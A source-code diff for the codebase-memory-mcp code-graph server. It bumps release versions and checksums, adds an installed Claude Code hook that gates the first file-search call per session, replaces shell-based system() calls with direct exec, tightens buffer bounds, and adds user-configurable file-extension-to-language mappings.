"description": "Persistent codebase knowledge graph — 66 languages, sub-ms queries, 99% fewer tokens than grep. Survives session restarts and context compaction.",
|
||||
"repository": {
|
||||
"url": "https://github.com/DeusData/codebase-memory-mcp",
|
||||
"source": "github"
|
||||
},
|
||||
"version": "0.3.1",
|
||||
"version": "0.5.5",
|
||||
"packages": [
|
||||
{
|
||||
"registryType": "mcpb",
|
||||
"identifier": "https://github.com/DeusData/codebase-memory-mcp/releases/download/v0.3.1/codebase-memory-mcp-darwin-arm64.tar.gz",
|
||||
"fileSha256": "501affa554696b36651e8e24c23d8b11b3ee51a3d2b18277413b14aa6a75e970",
|
||||
"identifier": "https://github.com/DeusData/codebase-memory-mcp/releases/download/v0.5.5/codebase-memory-mcp-darwin-arm64.tar.gz",
|
||||
"fileSha256": "ad90ed77de53a019ab7bc11e494a40c4ad777f60604b28834e63b9ec8ca79246",
|
||||
"transport": {
|
||||
"type": "stdio"
|
||||
}
|
||||
},
|
||||
{
|
||||
"registryType": "mcpb",
|
||||
"identifier": "https://github.com/DeusData/codebase-memory-mcp/releases/download/v0.3.1/codebase-memory-mcp-darwin-amd64.tar.gz",
|
||||
"fileSha256": "af90b12719784bdc887550f53d4d3fb84b2176ece28d4a1131f3f20d3a014726",
|
||||
"identifier": "https://github.com/DeusData/codebase-memory-mcp/releases/download/v0.5.5/codebase-memory-mcp-darwin-amd64.tar.gz",
|
||||
"fileSha256": "41934f0c1b3b91e73d9cfa84aa27346460ddb616b6c41ce37a4dd2dc408fe4b9",
|
||||
"transport": {
|
||||
"type": "stdio"
|
||||
}
|
||||
},
|
||||
{
|
||||
"registryType": "mcpb",
|
||||
"identifier": "https://github.com/DeusData/codebase-memory-mcp/releases/download/v0.3.1/codebase-memory-mcp-linux-amd64.tar.gz",
|
||||
"fileSha256": "9c1ed6e3b73401069aebcd99dc5d35fa182304336c5686791cdd62f5ddbc0159",
|
||||
"identifier": "https://github.com/DeusData/codebase-memory-mcp/releases/download/v0.5.5/codebase-memory-mcp-linux-amd64.tar.gz",
|
||||
"fileSha256": "7720482f6b8e661c8f6cb7eaafbb3a6182ecff5745e06a1da9e888db43868b62",
|
||||
"transport": {
|
||||
"type": "stdio"
|
||||
}
|
||||
},
|
||||
{
|
||||
"registryType": "mcpb",
|
||||
"identifier": "https://github.com/DeusData/codebase-memory-mcp/releases/download/v0.3.1/codebase-memory-mcp-linux-arm64.tar.gz",
|
||||
"fileSha256": "18b228405250d4aa735d22bd0d4fe829c014c60ce9ca1e3a1f92e06d333b0beb",
|
||||
"identifier": "https://github.com/DeusData/codebase-memory-mcp/releases/download/v0.5.5/codebase-memory-mcp-linux-arm64.tar.gz",
|
||||
"fileSha256": "7c947a9ae42b5324f10369c572f8961086b8a627ed68c9c4ebf07c2db8efa9d9",
|
||||
"transport": {
|
||||
"type": "stdio"
|
||||
}
|
||||
},
|
||||
{
|
||||
"registryType": "mcpb",
|
||||
"identifier": "https://github.com/DeusData/codebase-memory-mcp/releases/download/v0.3.1/codebase-memory-mcp-windows-amd64.zip",
|
||||
"fileSha256": "4f42b190acbe86d823519c82434b5ebf71cc52e34f831429d45097a9a7391ddf",
|
||||
"identifier": "https://github.com/DeusData/codebase-memory-mcp/releases/download/v0.5.5/codebase-memory-mcp-windows-amd64.zip",
|
||||
"fileSha256": "2024a3170daab3e58536fdef7a09be5ef6323af453dbf8f4c501a636ff061fa7",
|
||||
"transport": {
|
||||
"type": "stdio"
|
||||
}
|
||||
|
||||
+67
-20
@@ -6,6 +6,7 @@
|
||||
*/
|
||||
#include "cli/cli.h"
|
||||
#include "foundation/compat.h"
|
||||
#include "foundation/str_util.h"
|
||||
|
||||
// the correct standard headers are included below but clang-tidy doesn't map them.
|
||||
#include <ctype.h>
|
||||
@@ -15,6 +16,7 @@
|
||||
#define CBM_VERSION "dev"
|
||||
#endif
|
||||
#include <errno.h> // EEXIST
|
||||
#include <fcntl.h> // open, O_WRONLY, O_CREAT, O_TRUNC
|
||||
#include <stdint.h> // uintptr_t
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@@ -1308,11 +1310,7 @@ int cbm_remove_antigravity_mcp(const char *config_path) {
|
||||
/* ── Claude Code pre-tool hooks ───────────────────────────────── */
|
||||
|
||||
#define CMM_HOOK_MATCHER "Grep|Glob|Read|Search"
|
||||
#define CMM_HOOK_COMMAND \
|
||||
"echo 'Reminder: prefer codebase-memory-mcp search_graph/trace_call_path/" \
|
||||
"get_code_snippet over Grep/Glob/Read/Search for code discovery. " \
|
||||
"Use get_code_snippet(qualified_name) instead of Read to view a function. " \
|
||||
"Fall back only if MCP returns insufficient results.' >&2"
|
||||
#define CMM_HOOK_COMMAND "~/.claude/hooks/cbm-code-discovery-gate"
|
||||
|
||||
/* Old matcher values from previous versions — recognized during upgrade so
|
||||
* upsert_hooks_json can remove them before inserting the current matcher. */
|
||||
@@ -1468,6 +1466,45 @@ int cbm_remove_claude_hooks(const char *settings_path) {
|
||||
return remove_hooks_json(settings_path, "PreToolUse", CMM_HOOK_MATCHER);
|
||||
}
|
||||
|
||||
/* Install the code discovery gate script to ~/.claude/hooks/.
|
||||
* Blocks the first Grep/Glob/Read/Search call per session (exit 2 + stderr),
|
||||
* nudging Claude toward codebase-memory-mcp. All subsequent calls in the same
|
||||
* session pass through (gate file keyed on PPID). */
|
||||
static void cbm_install_hook_gate_script(const char *home) {
|
||||
if (!home) {
|
||||
return;
|
||||
}
|
||||
char hooks_dir[1024];
|
||||
snprintf(hooks_dir, sizeof(hooks_dir), "%s/.claude/hooks", home);
|
||||
cbm_mkdir_p(hooks_dir, 0755);
|
||||
|
||||
char script_path[1024];
|
||||
snprintf(script_path, sizeof(script_path), "%s/cbm-code-discovery-gate", hooks_dir);
|
||||
|
||||
FILE *f = fopen(script_path, "w");
|
||||
if (!f) {
|
||||
return;
|
||||
}
|
||||
fprintf(f, "#!/bin/bash\n"
|
||||
"# Gate hook: nudges Claude toward codebase-memory-mcp for code discovery.\n"
|
||||
"# First Grep/Glob/Read/Search per session -> block. Subsequent -> allow.\n"
|
||||
"# PPID = Claude Code process PID, unique per session.\n"
|
||||
"GATE=/tmp/cbm-code-discovery-gate-$PPID\n"
|
||||
"find /tmp -name 'cbm-code-discovery-gate-*' -mtime +1 -delete 2>/dev/null\n"
|
||||
"if [ -f \"$GATE\" ]; then\n"
|
||||
" exit 0\n"
|
||||
"fi\n"
|
||||
"touch \"$GATE\"\n"
|
||||
"echo 'BLOCKED: For code discovery, use codebase-memory-mcp tools first: "
|
||||
"search_graph(name_pattern) to find functions/classes, trace_call_path() for "
|
||||
"call chains, get_code_snippet(qualified_name) to read source. If the graph "
|
||||
"is not indexed yet, call index_repository first. Fall back to Grep/Glob/Read "
|
||||
"only for text content search. If you need Grep, retry.' >&2\n"
|
||||
"exit 2\n");
|
||||
fclose(f);
|
||||
chmod(script_path, 0755);
|
||||
}
|
||||
|
||||
#define GEMINI_HOOK_MATCHER "google_search|read_file|grep_search"
|
||||
#define GEMINI_HOOK_COMMAND \
|
||||
"echo 'Reminder: prefer codebase-memory-mcp search_graph/trace_call_path/" \
|
||||
@@ -2216,13 +2253,14 @@ int cbm_cmd_install(int argc, char **argv) {
|
||||
}
|
||||
printf(" mcp: %s\n", mcp_path2);
|
||||
|
||||
/* PreToolUse hook */
|
||||
/* PreToolUse hook + gate script */
|
||||
char settings_path[1024];
|
||||
snprintf(settings_path, sizeof(settings_path), "%s/.claude/settings.json", home);
|
||||
if (!dry_run) {
|
||||
cbm_upsert_claude_hooks(settings_path);
|
||||
cbm_install_hook_gate_script(home);
|
||||
}
|
||||
printf(" hooks: PreToolUse (Grep|Glob reminder)\n");
|
||||
printf(" hooks: PreToolUse (code discovery gate)\n");
|
||||
}
|
||||
|
||||
/* Step 5: Install Codex CLI */
|
||||
@@ -2784,25 +2822,33 @@ int cbm_cmd_update(int argc, char **argv) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
/* Open with final permissions atomically (no TOCTOU between write and chmod) */
|
||||
#ifndef _WIN32
|
||||
int fd = open(bin_dest, O_WRONLY | O_CREAT | O_TRUNC, 0755);
|
||||
if (fd < 0) {
|
||||
fprintf(stderr, "error: cannot write to %s\n", bin_dest);
|
||||
free(bin_data);
|
||||
return 1;
|
||||
}
|
||||
FILE *out = fdopen(fd, "wb");
|
||||
#else
|
||||
FILE *out = fopen(bin_dest, "wb");
|
||||
#endif
|
||||
if (!out) {
|
||||
fprintf(stderr, "error: cannot write to %s\n", bin_dest);
|
||||
free(bin_data);
|
||||
#ifndef _WIN32
|
||||
close(fd);
|
||||
#endif
|
||||
return 1;
|
||||
}
|
||||
fwrite(bin_data, 1, (size_t)bin_len, out);
|
||||
fclose(out);
|
||||
free(bin_data);
|
||||
|
||||
/* Make executable */
|
||||
#ifndef _WIN32
|
||||
chmod(bin_dest, 0755);
|
||||
#endif
|
||||
} else {
|
||||
/* Windows: unzip */
|
||||
snprintf(cmd, sizeof(cmd), "unzip -o -d '%s' '%s' 2>/dev/null", bin_dir, tmp_archive);
|
||||
// NOLINTNEXTLINE(cert-env33-c) — intentional CLI subprocess for extraction
|
||||
rc = system(cmd);
|
||||
/* Zip extraction: exec unzip directly without shell interpretation */
|
||||
const char *unzip_argv[] = {"unzip", "-o", "-d", bin_dir, tmp_archive, NULL};
|
||||
rc = cbm_exec_no_shell(unzip_argv);
|
||||
cbm_unlink(tmp_archive);
|
||||
if (rc != 0) {
|
||||
fprintf(stderr, "error: extraction failed\n");
|
||||
@@ -2823,11 +2869,12 @@ int cbm_cmd_update(int argc, char **argv) {
|
||||
int skill_count = cbm_install_skills(skills_dir, true, false);
|
||||
printf("Updated %d skill(s).\n", skill_count);
|
||||
|
||||
/* Step 7: Verify new version */
|
||||
/* Step 7: Verify new version (exec directly, no shell interpretation) */
|
||||
printf("\nUpdate complete. Verifying:\n");
|
||||
snprintf(cmd, sizeof(cmd), "'%s' --version", bin_dest);
|
||||
// NOLINTNEXTLINE(cert-env33-c,clang-analyzer-optin.taint.GenericTaint)
|
||||
(void)system(cmd);
|
||||
{
|
||||
const char *ver_argv[] = {bin_dest, "--version", NULL};
|
||||
(void)cbm_exec_no_shell(ver_argv);
|
||||
}
|
||||
|
||||
printf("\nAll project indexes were cleared. They will be rebuilt\n");
|
||||
printf("automatically when you next use the MCP server.\n");
|
||||
|
||||
+15
-4
@@ -2561,7 +2561,10 @@ static int execute_single(cbm_store_t *store, cbm_query_t *q, const char *projec
|
||||
}
|
||||
const char *v = binding_get_virtual(&bindings[bi], wc->items[ci].variable,
|
||||
wc->items[ci].property);
|
||||
kl += snprintf(key + kl, sizeof(key) - kl, "%s|", v);
|
||||
kl += snprintf(key + kl, sizeof(key) - (size_t)kl, "%s|", v);
|
||||
if (kl >= (int)sizeof(key)) {
|
||||
kl = (int)sizeof(key) - 1;
|
||||
}
|
||||
}
|
||||
int found = -1;
|
||||
for (int a = 0; a < agg_cnt; a++) {
|
||||
@@ -2918,7 +2921,10 @@ static int execute_single(cbm_store_t *store, cbm_query_t *q, const char *projec
|
||||
}
|
||||
char func_buf[512];
|
||||
vals[ci] = project_item(&bindings[bi], item, func_buf, sizeof(func_buf));
|
||||
klen += snprintf(key + klen, sizeof(key) - klen, "%s|", vals[ci]);
|
||||
klen += snprintf(key + klen, sizeof(key) - (size_t)klen, "%s|", vals[ci]);
|
||||
if (klen >= (int)sizeof(key)) {
|
||||
klen = (int)sizeof(key) - 1;
|
||||
}
|
||||
}
|
||||
|
||||
int found = -1;
|
||||
@@ -3005,10 +3011,15 @@ static int execute_single(cbm_store_t *store, cbm_query_t *q, const char *projec
|
||||
if (ci2 > 0) {
|
||||
cbuf[bl++] = ',';
|
||||
}
|
||||
bl += snprintf(cbuf + bl, sizeof(cbuf) - bl, "\"%s\"",
|
||||
bl += snprintf(cbuf + bl, sizeof(cbuf) - (size_t)bl, "\"%s\"",
|
||||
aggs[a].collect_lists[ci][ci2]);
|
||||
if (bl >= (int)sizeof(cbuf)) {
|
||||
bl = (int)sizeof(cbuf) - 1;
|
||||
}
|
||||
}
|
||||
if (bl < (int)sizeof(cbuf) - 1) {
|
||||
cbuf[bl++] = ']';
|
||||
}
|
||||
cbuf[bl++] = ']';
|
||||
cbuf[bl] = '\0';
|
||||
snprintf(bufs[ci], sizeof(bufs[ci]), "%s", cbuf);
|
||||
} else {
|
||||
|
||||
+51
-9
@@ -3,8 +3,11 @@
|
||||
*
|
||||
* Maps file extensions and special filenames to CBMLanguage enum values.
|
||||
* Handles .m disambiguation (Objective-C vs Magma vs MATLAB).
|
||||
* Consults the process-global user config (set via cbm_set_user_lang_config)
|
||||
* before the built-in lookup table.
|
||||
*/
|
||||
#include "discover/discover.h"
|
||||
#include "discover/userconfig.h"
|
||||
#include "cbm.h" // CBMLanguage, CBM_LANG_*
|
||||
|
||||
#include <ctype.h>
|
||||
@@ -269,10 +272,21 @@ typedef struct {
|
||||
} filename_entry_t;
|
||||
|
||||
static const filename_entry_t FILENAME_TABLE[] = {
|
||||
{"CMakeLists.txt", CBM_LANG_CMAKE}, {"Dockerfile", CBM_LANG_DOCKERFILE},
|
||||
{"GNUmakefile", CBM_LANG_MAKEFILE}, {"Makefile", CBM_LANG_MAKEFILE},
|
||||
{"makefile", CBM_LANG_MAKEFILE}, {"meson.build", CBM_LANG_MESON},
|
||||
{"meson.options", CBM_LANG_MESON}, {"meson_options.txt", CBM_LANG_MESON},
|
||||
{"CMakeLists.txt", CBM_LANG_CMAKE},
|
||||
{"Dockerfile", CBM_LANG_DOCKERFILE},
|
||||
{"GNUmakefile", CBM_LANG_MAKEFILE},
|
||||
{"Makefile", CBM_LANG_MAKEFILE},
|
||||
{"makefile", CBM_LANG_MAKEFILE},
|
||||
{"meson.build", CBM_LANG_MESON},
|
||||
{"meson.options", CBM_LANG_MESON},
|
||||
{"meson_options.txt", CBM_LANG_MESON},
|
||||
{"kustomization.yaml", CBM_LANG_KUSTOMIZE},
|
||||
{"kustomization.yml", CBM_LANG_KUSTOMIZE},
|
||||
/* Note: FILENAME_TABLE uses case-sensitive strcmp, so mixed-case variants
|
||||
* (e.g. "Kustomization.yaml") are not matched here. They fall through to
|
||||
* CBM_LANG_YAML and are re-classified by cbm_is_kustomize_file() in
|
||||
* pass_k8s.c, which performs a case-insensitive comparison. This is the
|
||||
* intended behaviour — no additional entries are needed. */
|
||||
{".vimrc", CBM_LANG_VIMSCRIPT},
|
||||
};
|
||||
|
||||
@@ -345,6 +359,8 @@ static const char *LANG_NAMES[CBM_LANG_COUNT] = {
|
||||
[CBM_LANG_FORM] = "FORM",
|
||||
[CBM_LANG_MAGMA] = "Magma",
|
||||
[CBM_LANG_WOLFRAM] = "Wolfram",
|
||||
[CBM_LANG_KUSTOMIZE] = "Kustomize",
|
||||
[CBM_LANG_K8S] = "Kubernetes",
|
||||
};
|
||||
|
||||
/* ── Public API ──────────────────────────────────────────────────── */
|
||||
@@ -354,6 +370,15 @@ CBMLanguage cbm_language_for_extension(const char *ext) {
|
||||
return CBM_LANG_COUNT;
|
||||
}
|
||||
|
||||
/* Check user-defined overrides first */
|
||||
const cbm_userconfig_t *ucfg = cbm_get_user_lang_config();
|
||||
if (ucfg) {
|
||||
CBMLanguage ulang = cbm_userconfig_lookup(ucfg, ext);
|
||||
if (ulang != CBM_LANG_COUNT) {
|
||||
return ulang;
|
||||
}
|
||||
}
|
||||
|
||||
for (size_t i = 0; i < EXT_TABLE_SIZE; i++) {
|
||||
if (strcmp(EXT_TABLE[i].ext, ext) == 0) {
|
||||
return EXT_TABLE[i].language;
|
||||
@@ -374,13 +399,30 @@ CBMLanguage cbm_language_for_filename(const char *filename) {
|
||||
}
|
||||
}
|
||||
|
||||
/* Fall back to extension-based lookup */
|
||||
const char *dot = strrchr(filename, '.');
|
||||
if (dot) {
|
||||
return cbm_language_for_extension(dot);
|
||||
/* Fall back to extension-based lookup.
|
||||
* For compound extensions (e.g. ".blade.php") defined in the user config,
|
||||
* scan from the first dot in the basename toward the last, checking user
|
||||
* config at each position. Built-in extensions use the last dot only. */
|
||||
const char *last_dot = strrchr(filename, '.');
|
||||
if (!last_dot) {
|
||||
return CBM_LANG_COUNT;
|
||||
}
|
||||
|
||||
return CBM_LANG_COUNT;
|
||||
/* Probe user config for compound extensions (e.g. ".blade.php"). */
|
||||
const cbm_userconfig_t *ucfg = cbm_get_user_lang_config();
|
||||
if (ucfg) {
|
||||
const char *p = strchr(filename, '.');
|
||||
while (p && p < last_dot) {
|
||||
CBMLanguage lang = cbm_userconfig_lookup(ucfg, p);
|
||||
if (lang != CBM_LANG_COUNT) {
|
||||
return lang;
|
||||
}
|
||||
p = strchr(p + 1, '.');
|
||||
}
|
||||
}
|
||||
|
||||
/* Standard single-extension lookup (built-ins + user overrides). */
|
||||
return cbm_language_for_extension(last_dot);
|
||||
}
|
||||
|
||||
const char *cbm_language_name(CBMLanguage lang) {
|
||||
|
||||
@@ -0,0 +1,391 @@
|
||||
/*
|
||||
* userconfig.c — User-defined extension→language mappings.
|
||||
*
|
||||
* Reads extra_extensions from:
|
||||
* Global: $XDG_CONFIG_HOME/codebase-memory-mcp/config.json
|
||||
* (falls back to ~/.config/codebase-memory-mcp/config.json)
|
||||
* Project: {repo_root}/.codebase-memory.json
|
||||
*
|
||||
* Project config wins over global. Unknown language values warn and are
|
||||
* skipped (fail-open). Missing files are silently ignored.
|
||||
*/
|
||||
#include "discover/userconfig.h"
|
||||
#include "foundation/log.h"
|
||||
|
||||
#include <yyjson/yyjson.h>
|
||||
|
||||
#include <ctype.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
/* ── Process-global user config pointer ──────────────────────────── */
|
||||
|
||||
static const cbm_userconfig_t *g_userconfig = NULL;
|
||||
|
||||
void cbm_set_user_lang_config(const cbm_userconfig_t *cfg) {
|
||||
g_userconfig = cfg;
|
||||
}
|
||||
|
||||
const cbm_userconfig_t *cbm_get_user_lang_config(void) {
|
||||
return g_userconfig;
|
||||
}
|
||||
|
||||
/* ── Language name → enum table ──────────────────────────────────── */
|
||||
|
||||
/*
|
||||
* Reverse-mapping from lowercase language name strings to CBMLanguage.
|
||||
* Covers all names exposed by cbm_language_name() plus common aliases.
|
||||
*/
|
||||
typedef struct {
|
||||
const char *name; /* lowercase */
|
||||
CBMLanguage lang;
|
||||
} lang_name_entry_t;
|
||||
|
||||
static const lang_name_entry_t LANG_NAME_TABLE[] = {
|
||||
{"go", CBM_LANG_GO},
|
||||
{"python", CBM_LANG_PYTHON},
|
||||
{"javascript", CBM_LANG_JAVASCRIPT},
|
||||
{"typescript", CBM_LANG_TYPESCRIPT},
|
||||
{"tsx", CBM_LANG_TSX},
|
||||
{"rust", CBM_LANG_RUST},
|
||||
{"java", CBM_LANG_JAVA},
|
||||
{"c++", CBM_LANG_CPP},
|
||||
{"cpp", CBM_LANG_CPP},
|
||||
{"c#", CBM_LANG_CSHARP},
|
||||
{"csharp", CBM_LANG_CSHARP},
|
||||
{"php", CBM_LANG_PHP},
|
||||
{"lua", CBM_LANG_LUA},
|
||||
{"scala", CBM_LANG_SCALA},
|
||||
{"kotlin", CBM_LANG_KOTLIN},
|
||||
{"ruby", CBM_LANG_RUBY},
|
||||
{"c", CBM_LANG_C},
|
||||
{"bash", CBM_LANG_BASH},
|
||||
{"sh", CBM_LANG_BASH},
|
||||
{"zig", CBM_LANG_ZIG},
|
||||
{"elixir", CBM_LANG_ELIXIR},
|
||||
{"haskell", CBM_LANG_HASKELL},
|
||||
{"ocaml", CBM_LANG_OCAML},
|
||||
{"objective-c", CBM_LANG_OBJC},
|
||||
{"objc", CBM_LANG_OBJC},
|
||||
{"swift", CBM_LANG_SWIFT},
|
||||
{"dart", CBM_LANG_DART},
|
||||
{"perl", CBM_LANG_PERL},
|
||||
{"groovy", CBM_LANG_GROOVY},
|
||||
{"erlang", CBM_LANG_ERLANG},
|
||||
{"r", CBM_LANG_R},
|
||||
{"html", CBM_LANG_HTML},
|
||||
{"css", CBM_LANG_CSS},
|
||||
{"scss", CBM_LANG_SCSS},
|
||||
{"yaml", CBM_LANG_YAML},
|
||||
{"toml", CBM_LANG_TOML},
|
||||
{"hcl", CBM_LANG_HCL},
|
||||
{"terraform", CBM_LANG_HCL},
|
||||
{"sql", CBM_LANG_SQL},
|
||||
{"dockerfile", CBM_LANG_DOCKERFILE},
|
||||
{"clojure", CBM_LANG_CLOJURE},
|
||||
{"f#", CBM_LANG_FSHARP},
|
||||
{"fsharp", CBM_LANG_FSHARP},
|
||||
{"julia", CBM_LANG_JULIA},
|
||||
{"vimscript", CBM_LANG_VIMSCRIPT},
|
||||
{"nix", CBM_LANG_NIX},
|
||||
{"common lisp", CBM_LANG_COMMONLISP},
|
||||
{"commonlisp", CBM_LANG_COMMONLISP},
|
||||
{"lisp", CBM_LANG_COMMONLISP},
|
||||
{"elm", CBM_LANG_ELM},
|
||||
{"fortran", CBM_LANG_FORTRAN},
|
||||
{"cuda", CBM_LANG_CUDA},
|
||||
{"cobol", CBM_LANG_COBOL},
|
||||
{"verilog", CBM_LANG_VERILOG},
|
||||
{"emacs lisp", CBM_LANG_EMACSLISP},
|
||||
{"emacslisp", CBM_LANG_EMACSLISP},
|
||||
{"json", CBM_LANG_JSON},
|
||||
{"xml", CBM_LANG_XML},
|
||||
{"markdown", CBM_LANG_MARKDOWN},
|
||||
{"makefile", CBM_LANG_MAKEFILE},
|
||||
{"cmake", CBM_LANG_CMAKE},
|
||||
{"protobuf", CBM_LANG_PROTOBUF},
|
||||
{"graphql", CBM_LANG_GRAPHQL},
|
||||
{"vue", CBM_LANG_VUE},
|
||||
{"svelte", CBM_LANG_SVELTE},
|
||||
{"meson", CBM_LANG_MESON},
|
||||
{"glsl", CBM_LANG_GLSL},
|
||||
{"ini", CBM_LANG_INI},
|
||||
{"matlab", CBM_LANG_MATLAB},
|
||||
{"lean", CBM_LANG_LEAN},
|
||||
{"form", CBM_LANG_FORM},
|
||||
{"magma", CBM_LANG_MAGMA},
|
||||
{"wolfram", CBM_LANG_WOLFRAM},
|
||||
};
|
||||
|
||||
#define LANG_NAME_TABLE_SIZE (sizeof(LANG_NAME_TABLE) / sizeof(LANG_NAME_TABLE[0]))
|
||||
|
||||
/*
|
||||
* Parse a language string (case-insensitive) to a CBMLanguage enum.
|
||||
* Returns CBM_LANG_COUNT if the string is not recognized.
|
||||
*/
|
||||
static CBMLanguage lang_from_string(const char *s) {
|
||||
if (!s || !s[0]) {
|
||||
return CBM_LANG_COUNT;
|
||||
}
|
||||
|
||||
/* Build a lowercase copy for comparison */
|
||||
char lower[64];
|
||||
size_t i;
|
||||
for (i = 0; i < sizeof(lower) - 1 && s[i]; i++) {
|
||||
lower[i] = (char)tolower((unsigned char)s[i]);
|
||||
}
|
||||
lower[i] = '\0';
|
||||
|
||||
for (size_t j = 0; j < LANG_NAME_TABLE_SIZE; j++) {
|
||||
if (strcmp(LANG_NAME_TABLE[j].name, lower) == 0) {
|
||||
return LANG_NAME_TABLE[j].lang;
|
||||
}
|
||||
}
|
||||
return CBM_LANG_COUNT;
|
||||
}
|
||||
|
||||
/* ── Config directory helper ─────────────────────────────────────── */
|
||||
|
||||
/*
|
||||
* Get the XDG config dir for codebase-memory-mcp.
|
||||
* Writes "<dir>/codebase-memory-mcp" into buf (up to bufsz bytes).
|
||||
* Uses $XDG_CONFIG_HOME if set, else ~/.config.
|
||||
*/
|
||||
static void cbm_app_config_dir(char *buf, size_t bufsz) {
|
||||
// NOLINT(concurrency-mt-unsafe) — called before worker threads
|
||||
const char *xdg = getenv("XDG_CONFIG_HOME");
|
||||
if (xdg && xdg[0]) {
|
||||
snprintf(buf, bufsz, "%s/codebase-memory-mcp", xdg);
|
||||
} else {
|
||||
const char *home = getenv("HOME"); // NOLINT(concurrency-mt-unsafe)
|
||||
if (!home || !home[0]) {
|
||||
home = "/tmp";
|
||||
}
|
||||
snprintf(buf, bufsz, "%s/.config/codebase-memory-mcp", home);
|
||||
}
|
||||
}
|
||||
|
||||
/* ── JSON parsing ────────────────────────────────────────────────── */
|
||||
|
||||
/*
|
||||
* Parse extra_extensions from a yyjson object root.
|
||||
* Appends valid entries to *entries / *count (growing via realloc).
|
||||
* Project-level entries (from_project=true) are appended after global
|
||||
* entries so that a later dedup pass can prefer project values.
|
||||
*
|
||||
* Returns 0 on success, -1 on alloc failure.
|
||||
*/
|
||||
static int parse_extra_extensions(yyjson_val *root, cbm_userext_t **entries, int *count,
|
||||
const char *source_label) {
|
||||
if (!yyjson_is_obj(root)) {
|
||||
cbm_log_warn("userconfig.bad_root", "file", source_label);
|
||||
return 0;
|
||||
}
|
||||
|
||||
yyjson_val *extra = yyjson_obj_get(root, "extra_extensions");
|
||||
if (!extra) {
|
||||
return 0; /* key absent — fine */
|
||||
}
|
||||
if (!yyjson_is_obj(extra)) {
|
||||
cbm_log_warn("userconfig.bad_extra_extensions", "file", source_label);
|
||||
return 0;
|
||||
}
|
||||
|
||||
yyjson_obj_iter iter;
|
||||
yyjson_obj_iter_init(extra, &iter);
|
||||
yyjson_val *key;
|
||||
while ((key = yyjson_obj_iter_next(&iter)) != NULL) {
|
||||
yyjson_val *val = yyjson_obj_iter_get_val(key);
|
||||
|
||||
const char *ext_str = yyjson_get_str(key);
|
||||
const char *lang_str = yyjson_get_str(val);
|
||||
|
||||
if (!ext_str || !lang_str) {
|
||||
cbm_log_warn("userconfig.skip_non_string", "file", source_label);
|
||||
continue;
|
||||
}
|
||||
|
||||
/* Extension must start with '.' */
|
||||
if (ext_str[0] != '.') {
|
||||
cbm_log_warn("userconfig.skip_bad_ext", "file", source_label, "ext", ext_str);
|
||||
continue;
|
||||
}
|
||||
|
||||
CBMLanguage lang = lang_from_string(lang_str);
|
||||
if (lang == CBM_LANG_COUNT) {
|
||||
cbm_log_warn("userconfig.unknown_lang", "file", source_label, "lang", lang_str);
|
||||
continue; /* fail-open: skip unknown languages */
|
||||
}
|
||||
|
||||
/* Grow the array */
|
||||
cbm_userext_t *tmp = realloc(*entries, (size_t)(*count + 1) * sizeof(cbm_userext_t));
|
||||
if (!tmp) {
|
||||
return -1;
|
||||
}
|
||||
*entries = tmp;
|
||||
|
||||
char *ext_copy = strdup(ext_str);
|
||||
if (!ext_copy) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
(*entries)[*count].ext = ext_copy;
|
||||
(*entries)[*count].lang = lang;
|
||||
(*count)++;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*
|
||||
* Read a JSON file and parse extra_extensions from it.
|
||||
* Silently ignores missing files. Logs warnings for corrupt JSON.
|
||||
* Returns 0 on success (or absent file), -1 on alloc failure.
|
||||
*/
|
||||
static int load_config_file(const char *path, cbm_userext_t **entries, int *count) {
|
||||
FILE *f = fopen(path, "rb");
|
||||
if (!f) {
|
||||
return 0; /* file absent — silently ignore */
|
||||
}
|
||||
|
||||
fseek(f, 0, SEEK_END);
|
||||
long len = ftell(f);
|
||||
fseek(f, 0, SEEK_SET);
|
||||
|
||||
if (len <= 0 || len > 65536) {
|
||||
fclose(f);
|
||||
if (len > 65536) {
|
||||
cbm_log_warn("userconfig.file_too_large", "path", path);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
char *buf = malloc((size_t)len + 1);
|
||||
if (!buf) {
|
||||
fclose(f);
|
||||
return -1;
|
||||
}
|
||||
|
||||
size_t nread = fread(buf, 1, (size_t)len, f);
|
||||
fclose(f);
|
||||
buf[nread] = '\0';
|
||||
|
||||
yyjson_doc *doc = yyjson_read(buf, nread, 0);
|
||||
free(buf);
|
||||
|
||||
if (!doc) {
|
||||
cbm_log_warn("userconfig.corrupt_json", "path", path);
|
||||
return 0; /* corrupt JSON — silently ignore (fail-open) */
|
||||
}
|
||||
|
||||
yyjson_val *root = yyjson_doc_get_root(doc);
|
||||
int rc = parse_extra_extensions(root, entries, count, path);
|
||||
yyjson_doc_free(doc);
|
||||
return rc;
|
||||
}
|
||||
|
||||
/* ── Public API ──────────────────────────────────────────────────── */
|
||||
|
||||
cbm_userconfig_t *cbm_userconfig_load(const char *repo_path) {
|
||||
cbm_userconfig_t *cfg = calloc(1, sizeof(cbm_userconfig_t));
|
||||
if (!cfg) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
cbm_userext_t *entries = NULL;
|
||||
int count = 0;
|
||||
|
||||
/* ── Step 1: Load global config ── */
|
||||
enum { PATH_BUF_SZ = 1280 };
|
||||
char global_dir[1024];
|
||||
cbm_app_config_dir(global_dir, sizeof(global_dir));
|
||||
|
||||
char global_path[PATH_BUF_SZ];
|
||||
snprintf(global_path, sizeof(global_path), "%s/config.json", global_dir);
|
||||
|
||||
if (load_config_file(global_path, &entries, &count) != 0) {
|
||||
for (int i = 0; i < count; i++) {
|
||||
free(entries[i].ext);
|
||||
}
|
||||
free(entries);
|
||||
free(cfg);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
int global_count = count; /* entries[0..global_count) are from global */
|
||||
|
||||
/* ── Step 2: Load project config ── */
|
||||
if (repo_path && repo_path[0]) {
|
||||
char project_path[PATH_BUF_SZ];
|
||||
snprintf(project_path, sizeof(project_path), "%s/.codebase-memory.json", repo_path);
|
||||
|
||||
if (load_config_file(project_path, &entries, &count) != 0) {
|
||||
/* Free already-allocated entries */
|
||||
for (int i = 0; i < count; i++) {
|
||||
free(entries[i].ext);
|
||||
}
|
||||
free(entries);
|
||||
free(cfg);
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* ── Step 3: Dedup — project entries win over global ──
|
||||
*
|
||||
* For any extension that appears in both global (indices 0..global_count)
|
||||
